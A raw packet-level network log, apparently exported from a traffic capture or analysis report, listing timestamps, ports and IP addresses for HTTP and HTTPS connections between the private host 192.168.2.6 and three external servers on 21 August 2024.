Aug 21, 2024 08:32:14.770728111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770733118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770741940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770760059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770771027 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770775080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770775080 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770781040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.770828009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.770828009 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771023989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771029949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771040916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771080971 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771126986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771136045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771137953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771147966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771152973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771187067 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771209002 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771223068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771228075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771238089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771243095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771272898 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771302938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771327019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771337032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771338940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771385908 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771389961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771401882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771408081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771419048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771461010 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771533966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771543980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771544933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771555901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771586895 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771617889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.771949053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771965981 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.771996021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.772044897 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.772090912 CEST	443	49729	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.772111893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.772156000 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.772162914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.772169113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.772195101 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.772213936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.772216082 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.772226095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.772228003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.772274017 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.772274017 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.788615942 CEST	443	49731	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.788693905 CEST	49731	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.807365894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807373047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807389975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807394981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807401896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807413101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807419062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807473898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.807506084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.807528973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807534933 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807544947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807575941 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.807624102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807630062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807635069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807640076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807645082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807651043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807668924 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.807698011 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.807709932 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.807856083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.807915926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.808077097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808089018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808094978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808099031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808106899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808125019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.808134079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808139086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808149099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808152914 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.808157921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808163881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808166027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808171988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808175087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808180094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808183908 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.808186054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808192015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808197975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808202028 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.808202982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808208942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808221102 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.808238029 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.808259964 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.808955908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808962107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808973074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808976889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808981895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808990002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808993101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.808998108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809007883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809012890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809015989 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.809026003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809031963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809036970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809041977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809046030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.809047937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809058905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809065104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809073925 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.809076071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809082031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809087038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809092045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809098005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809099913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.809103966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809113979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809119940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809122086 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.809124947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809142113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.809150934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809154987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809160948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.809180021 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.809200048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811512947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811518908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811544895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811552048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811562061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811563015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811572075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811577082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811583042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811588049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811589003 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811599016 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811604977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811609983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811614990 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811619043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811619997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811633110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811639071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811642885 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811644077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811662912 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811666012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811671972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811682940 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811682940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811687946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811695099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811700106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811705112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811711073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811712027 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811723948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811728954 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811732054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811736107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811750889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811768055 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811774015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.811932087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811938047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811948061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811953068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811958075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811963081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811968088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811974049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.811975002 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.812007904 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.812030077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812036037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812046051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812051058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812056065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812062025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812067032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812072039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812076092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812078953 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.812082052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.812091112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.812119007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.812505960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812511921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812516928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812521935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812526941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812537909 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812546968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812563896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812568903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812568903 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.812582016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812589884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812597036 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.812598944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812617064 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812617064 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.812623024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812633991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.812635899 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812652111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.812690020 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.812885046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812891960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812896967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812901974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812952042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.812952042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.812984943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.812990904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813002110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813007116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813014030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813020945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813024998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813030005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813035965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813038111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813060999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813091040 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813309908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813316107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813337088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813358068 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813394070 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813461065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813471079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813472033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813476086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813489914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813494921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813508987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813513994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813513994 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813520908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813532114 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813553095 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813755035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813760042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813770056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813775063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813780069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813783884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813790083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813795090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813800097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813803911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813812017 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813815117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813817024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813818932 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813826084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.813831091 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813879967 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.813879967 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814142942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814150095 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814161062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814166069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814204931 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814234972 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814245939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814251900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814263105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814268112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814273119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814323902 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814349890 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814505100 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814512968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814523935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814532995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814538002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814548969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814554930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814559937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814559937 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814582109 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814590931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814599037 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814615011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814667940 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814786911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814793110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814798117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814836979 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.814944029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814994097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.814999104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815000057 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.815038919 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.815076113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815083027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815093040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815098047 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815131903 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.815131903 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.815310955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815316916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815326929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815330982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815347910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815359116 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.815388918 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.815447092 CEST	49719	80	192.168.2.6	147.45.44.104
